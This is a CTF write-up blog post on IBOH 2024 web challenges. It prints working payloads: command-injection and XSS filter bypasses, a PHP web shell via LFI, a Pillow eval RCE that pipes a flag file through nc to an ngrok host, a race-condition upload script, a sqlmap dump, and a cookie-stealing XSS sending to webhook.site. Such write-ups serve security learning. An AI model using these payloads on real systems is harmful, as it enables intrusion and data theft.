Introduction
Hewwo every-nyan, it’s been awhile since I’ve written a blog post for a CTF. This year, my team and I were lucky enough to still be able to play in Battle of Hackers 2024 (IBOH 2024) CTF again (still haven’t graduated)! Though we only played online this year, because we all love the comfort of home
Overall, I have to say the challenges were quite tough but of really good quality. None felt guessy, at least to me. It was a pure skill issue, honestly. I struggled a lot with categories like PWN, RE, Crypto, Forensics, and OSINT (can never do OSINT lol).
The best category for me, though, was Web (can only do web 🤡). I enjoyed the Web challenges so, so much because they included source code, which is something I think local CTFs in Malaysia often lack. Also, there was a client-side challenge this time! It was a good day for web players.
Huge thanks to the organizers for creating such great challenges! Each one was well thought out and really made us think. IBOH 2024 had some of the best challenges we’ve seen in a local student CTF for this year so far, and we had a lot of fun working through them. We appreciate all the effort that went into making this event happen!
Challenges
For the first three challenges, I am providing very short and straight-to-the-point solutions. No pictures are included since the server hosting these challenges is no longer online.
Echoes of the System
For this challenge, it is a classic command injection challenge. The filter seems to be blocking a lot of common eywords such as cat
, flag
and few others.
Final Payload
"ca"t fla*
Flag: IBOH24{G3T_DaA8880948_F1aG}
Kelvin Diner
Traversing through the pages, we see an endpoint to do an LFI (Local File Inclusion)
. Through that endpoint I tested by reading /etc/passwd
and it works!
Next what I did is to gain RCE (Remote Code Execution) through LFI by using this PHP filter chain method.
python3 script.py --chain '<?php system($_GET["cmd"]); ?>'
Final thing I did was reading secret.php
and I got the flag!
?cmd=cat%20..%2fsecret.php
Flag: IBOH24{k3lv1n_f0rg0t_t0_p3nt3st_h1s_w3bs1te}
Warmup
For this challenge we were given a code like below.
if (isset($_GET['warmup'])) {
$string1 = $_GET['warmup']; // This is the input from the user.
echo $string1;
$string2 = 'warmupisessential'; // This is the string that will be replaced.
// Remove all occurrences of 'warmupisessential' from $string1.
$string3 = preg_replace("/$string2/", '', $string1);
echo $string3;
// If after the replacement, the result is still 'warmupisessential', trigger the function.
if ($string3 === $string2) {
warmup_fucntion(); // flag
}
}
We need to make sure the output is equal to warmupisessential
after all the cleaning is done.
preg_replace()
will remove all occurrences of 'warmupisessential'
We can just separate them and put the filtered word in the midde together (hopefully what I am saying makes any sense) which should looks like this
warmupwarmupisessentialisessential
If we do this, preg_replace()
will then remove warmupisessential
in the middle , leaving only this
warmupisessential
And finally, we can easily get the flag!
/warmup.php?warmup=warmupwarmupisessentialisessential
Flag: IBOH24{5e83215e5db52738f7699a3c5d94702c}
King
For this challenge we were given a website which allows us to upload any image. We were also given the source of the web.
The only interesting part of the code was /api/alphafy
which runs when we send our image to the web.
@api.route('/alphafy', methods=['POST'])
def alphafy():
if not request.is_json or 'image' not in request.json:
return abort(400)
return make_alpha(request.json)
The make_alpha()
function seems to be doing some image manipulation and returning the response back to base64.
#..... some other stuff above
# Merging the bands to create a new image
new_image = Image.merge('RGBA', new_bands)
background = Image.new('RGB', new_image.size, (0, 0, 0, 0))
background.paste(new_image.convert('RGB'), mask=new_image)
# Saving the new image to a buffer
buffer = BytesIO()
new_image.save(buffer, format='PNG')
# Returning the processed image
return {
'image': f'data:image/png;base64,{base64.b64encode(buffer.getvalue()).decode()}'
}, 200
The most interesting part of the code is that it is using ImageMath.eval()
, which had a CVE related to this previously.
Looking at the version, it seems to be affected.
Pillow==8.4.0
Now it’s pretty easy to solve the challenge! Just get code execution and send us the flag :D
King Solution
Simple solution to this is just to put the payload in background
. In this payload, I am sending the file through nc
hosted to my ngrok.
"image" : "stuff",
"background":[
"eval(\"__import__('os').system('cat /flag.txt | nc 0.tcp.ap.ngrok.io 11423')\")",
255,
255,
255]
Re-send the request to /api/alphafy
with the payload above. After preparing and waiting a little bit to receive the flag on my machine listener, I finally got the flag!
Flag: IBOH24{Wh0_is_Tha_G0AT=DARTH_VAd3r}
Kachow
In this challenge, we were given source code of the challenge. The initial login page looks like this.
There is also register.php
inside the source code which is useful for us to have a user.
Registering and logging into the website, there’s few features. The most interesting ones are search
and upload
. Though, the upload
function is limited to only Admin.
Looking into the search
function, we can see that the code is vulnerable to SQL Injection. This filter can be bypassed easily by using SQL syntax with random case. For example, SeLeCt
works here, because most SQL Databases are case-insensitive.
$searchResults = '';
$keywords = ['union', 'UNION', 'select', 'SELECT', 'from', 'FROM', 'and', 'AND', 'like', 'LIKE', '*', '/'];
function check_WAF($data, $keywords) {
foreach ($keywords as $keyword) {
if (strpos($data, $keyword) !== false) {
return true;
}
}
return false;
}
Looking into upload
function, it seems like the file is being sanitized and filtered. Only .pdf
, docx
and doc
files are allowed. The sanitizaton seems quite strong here.
if ($fileError === 0 && $fileSize < 5000000) {
$fileExt = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
$fileNameSanitized = preg_replace('/[^a-zA-Z0-9\-\_\.]/', '', $fileName);
$fileDestination = 'uploads/' . $fileNameSanitized;
move_uploaded_file($fileTmpName, $fileDestination);
$allowedExtensions = ['pdf', 'docx', 'doc'];
$allowedMagicNumbers = [
'pdf' => '25504446',
'docx' => '504b0304',
'doc' => 'd0cf11e0'
];
$fileContent = file_get_contents($fileDestination);
$fileMagicNumber = bin2hex(substr($fileContent, 0, 4));
$isValidExtension = in_array($fileExt, $allowedExtensions);
$isValidMagicNumber = isset($allowedMagicNumbers[$fileExt]) && $fileMagicNumber === $allowedMagicNumbers[$fileExt];
usleep(500000);
if (!$isValidExtension || !$isValidMagicNumber) {
$message = $isValidExtension ? "Invalid file signature." : "Invalid file extension.";
unlink($fileDestination);
} else {
$message = "File uploaded successfully!";
}
} else {
$message = "Error uploading file due to size or upload error!";
}
Though there’s a logic flaw in this upload
code above.
As we can see, the file is being uploaded first, and only after that it is sanitized. This could result in race condition if we try to read the file quick enough!
move_uploaded_file($fileTmpName, $fileDestination);
usleep(500000); //this sleep makes it even obvious/easier
if (!$isValidExtension || !$isValidMagicNumber) {
$message = $isValidExtension ? "Invalid file signature." : "Invalid file extension.";
unlink($fileDestination);
} else {
$message = "File uploaded successfully!";
}
Kachow Solution
The correct flow would be:
Get admin user using SQL Injection > Upload file race condition > Read flag
For the SQL Injection, to save time I just used SQLMap with a tamper.
sqlmap -r request.txt --tamper=randomcase --level 3 --risk 3 --dbms=mysql --dump
Dumping the db, you will get the admin hash.
Note: This is just for writeup purpose, the password is different during the CTF time.
Crack the hash using https://crackstation.net/, and you should be able to get a password to login as admin.
Once you’re logged in as admin, now is the time to do the upload file race condition and try to read the flag! Building a script here is necessary, unless you have very fast hands.
Solve script
import requests
import threading
# URL and file details
upload_url = 'https://web.kachow-distributed.orb.local/fileupload.php'
read_url = 'https://web.kachow-distributed.orb.local/uploads/night.php'
cookies = {'PHPSESSID': 'dhrknoeaqjvc8cbb3g6lu0d971'}
file_content = "<?php echo system('cat /flag/flag.txt'); ?>"
# Upload function
def upload_file():
files = {'file': ('night.php', file_content, 'application/pdf')}
print(f"Upload Response: {requests.post(upload_url, cookies=cookies, files=files, verify=False).status_code}")
# Read function
def read_file():
while True:
response = requests.get(read_url, cookies=cookies, verify=False)
print(f"Read Response: {response.status_code}")
if response.status_code == 200:
print(f"File Content:\n{response.text}")
break
# Create threads for uploading and reading simultaneously
for _ in range(5):
threading.Thread(target=upload_file).start()
threading.Thread(target=read_file).start()
Flag: IBOH24{y0u_f0und_s0m3th1ng_g00d_1n_th1s_g4rb4g3}
Pollution Donation Site
For this challenge we were given a website with Naruto bijuus and the source code of the challenge. There’s also sigin
and signup
here for us to get a user.
With a registered user, we can see this dashboard and donate feature. You also have a balance on the page.
Looking into the source code, you must donate 1000 of your balance, to get the flag.
if (amount === 20) {
if (req.session.loggedInUser.balance >= 20) {
await collection.updateOne({ name: req.session.loggedInUser.username }, { $set: { balance: req.session.loggedInUser.balance - 20 } });
req.session.loggedInUser.balance -= 20;
res.send(`Donated $20 to ${organization.name}. Redirecting...<script>setTimeout(() => { window.location.href = '/organizations'; }, 2000);</script>`);
} else {
res.status(400).send('Insufficient balance for $20 donation');
}
} else if (amount === 1000) {
if (req.session.loggedInUser.balance >= 1000) {
await collection.updateOne({ name: req.session.loggedInUser.username }, { $set: { balance: req.session.loggedInUser.balance - 1000 } });
req.session.loggedInUser.balance -= 1000;
// Read flag.txt and send its contents
const fs = require('fs');
fs.readFile('flag.txt', 'utf8', (err, data) => {
if (err) {
console.error(err);
res.status(500).send('Error reading flag file');
} else {
res.send(`Super DONATE! Thank you for your generous $1000 donation! Flag: ${data}`);
}
});
} else {
res.status(400).send('Insufficient balance for $1000 donation');
}
}
// the code responsible for showing the flag
else if (amount === 1000) {
if (req.session.loggedInUser.balance >= 1000) {
await collection.updateOne({ name: req.session.loggedInUser.username }, { $set: { balance: req.session.loggedInUser.balance - 1000 } });
req.session.loggedInUser.balance -= 1000;
// Read flag.txt and send its contents
const fs = require('fs');
fs.readFile('flag.txt', 'utf8', (err, data) => {
if (err) {
console.error(err);
res.status(500).send('Error reading flag file');
} else {
res.send(`Super DONATE! Thank you for your generous $1000 donation! Flag: ${data}`);
}
});
}
}
But how? We only have an initial balance of 100.
Looking deeper into the source code, we can see that the admin role is allowed to add money to their balance through this /addbalance
endpoint.
app.post('/addBalance', async (req, res) => {
try {
if (!req.session.isAuth) {
throw new Error('User session not found');
}
if (!req.session.isAdmin) {
throw new Error('User is not admin');
} else {
console.log("user is admin")
req.session.loggedInUser.balance += req.body.money;
await collection.updateOne({ name: req.session.loggedInUser.username }, { $set: { balance: req.session.loggedInUser.balance } });
res.send('Money added');
console.log('Request Body:', req.body);
}
} catch (error) {
console.error('Error:', error.message);
res.status(500).send('Internal Server Error');
}
});
Huh? So how do we get admin then?
Well luckily for us, the title of the challenge already hints strongly on Prototype Pollution.
We can easily identify that this piece of code is a good candidate for Prototype Pollution.
for (const [key, value] of Object.entries(req.body)) {
if (!organizations[key]) {
organizations[key] = JSON.parse(JSON.stringify(org));
}
for (const [k, v] of Object.entries(value)) {
if (k === 'NumberOfPeopleDonated') {
organizations[key][k] += v;
} else {
organizations[key][k] = v;
}
}
}
Pollution Donation Site Solution
Let’s start by setting our user to admin using the Prototype Pollution. Using Prototype Pollution, we can pollute the isAdmin
property and make our user an admin.
Intercept the donate
endpoint, modify the request to be in JSON form, like this. Remember to set Content-Type
aswell!
Add __proto__
and set isAdmin
to true
, send the request and isAdmin
will be polluted and now will be true
.
Now that isAdmin
is set to true
, we practically have the same privileges as admin!
The final step, is to add balance, donate 1000 and you should be able to get the flag!
curl -X POST http://challengeweb.com/addBalance \
-H "Content-Type: application/json" \
-H "Cookie: connect.sid=s%3AraHLFvaYz3EURVN_yxLbBEuYAvk7Sm0U.RoyBHyw6XzQ%2FnNFXGEr5RNXi0EcrFkojumYfnt%2B6DOE" \
-d '{
"money": 10000
}'
curl -X POST http://challengeweb.com/donate \
-H "Content-Type: application/json" \
-H "Cookie: connect.sid=s%3AraHLFvaYz3EURVN_yxLbBEuYAvk7Sm0U.RoyBHyw6XzQ%2FnNFXGEr5RNXi0EcrFkojumYfnt%2B6DOE" \
-d '{
"organizationId": 0,
"amount": 1000
}'
Flag: IBOH24{j4p4n_s3A_p011u710n_Go0d_0r_B4d}
Productivity
In this challenge, same as previously, we have a login
and register
function along with the source code.
After logging in, we can find all these functions in the dashboard.
Looking inside the source code, the flag is contained in the FLAG
variable.
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
The FLAG
variable is being used in /report
endpoint passed to check_endpoint
function.
@app.route("/report", methods=["GET", "POST"])
@login_required
def report():
if request.method == "GET":
return render_template("report.html")
if request.method == "POST":
param = request.form.get("param")
if not check_endpoint(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("There seems to be something wrong!");history.go(-1);</script>'
return '<script>alert("Report sent to admin!");history.go(-1);</script>'
The check_endpoint()
looks like this, and it is linked with read_url()
. This is a Selenium script which will visit the notes you give it to.
def check_endpoint(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/notes/{urllib.parse.quote(param)}"
result = read_url(url, cookie)
return result
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
driver = None
try:
service = Service(executable_path="/usr/bin/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(5)
driver.set_page_load_timeout(5)
driver = login_as_admin(driver)
driver.get(url)
driver.add_cookie(cookie)
driver.get(url)
What this code above does, is that, it sets the flag as the cookie of the Selenium script to simulate a vulnerable user.
This smells like a classic XSS challenge!
Finding through the source code, we can see that the /notes
endpoint is vulnerable to XSS.
@app.route('/notes/<filename>')
@login_required
def read_note(filename):
cur = mysql.connection.cursor()
if session['username'] == 'admin':
cur.execute("SELECT filename, content FROM notes WHERE filename = %s", (filename,))
else:
cur.execute("SELECT filename, content FROM notes WHERE filename = %s AND username = %s", (filename, session['username']))
note = cur.fetchone()
if note:
sanitized_content = sanitize_content(note['content'])
cur.close()
return render_template_string('''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{{ filename }}</title>
</head>
<body onload="displayNoteContent();">
<h1>{{ filename }}</h1>
<div id="note-display"></div>
<script>
var note_content = `{{ sanitized_content|safe }}`;
function displayNoteContent() {
note_content = note_content.replace(/\\n/g, '<br>');
document.getElementById('note-display').innerHTML = note_content;
}
</script>
</body>
</html>
''', filename=note['filename'], sanitized_content=sanitized_content)
else:
cur.close()
return "File not found or not authorized to view", 404
This particular |safe
code is dangerous and it will not escape any HTML tags etc.
BLACKLIST_PHRASES = ['<script>', '</script>', '<iframe>', '</iframe>', '<img>', '</img>', 'javascript:', 'onload=', 'onerror=']
<script>
var note_content = `{{ sanitized_content|safe }}`;
function displayNoteContent() {
note_content = note_content.replace(/\\n/g, '<br>');
document.getElementById('note-display').innerHTML = note_content;
}
</script>
Even though, it is blacklisting a lot of tags here, it is not hindering our progress at all. We can easily escape out of the backtick and execute our own XSS/JS.
Productivity Solution
Now let’s solve the challenge by popping simple XSS first!
What we need to do is upload a note file which contains our XSS payload!
We can easily escape out of the backtick by using a payload like this
`;alert(1)//
and you’ll pop an easy XSS
Now the final part to get the flag, is to put XSS payload which will steal a cookie and redirect to an OOB site. I used webhook.site here. This is my final payload.
`;location='https://webhook.site/?c='+document.cookie//
Final part is to report the filename of the note.
Hit report, you should be able to get the flag in your webhook.
Flag: IBOH24{y3t_4n0th3r_typ1c4l_but_n0t_so_typic4l_XSS}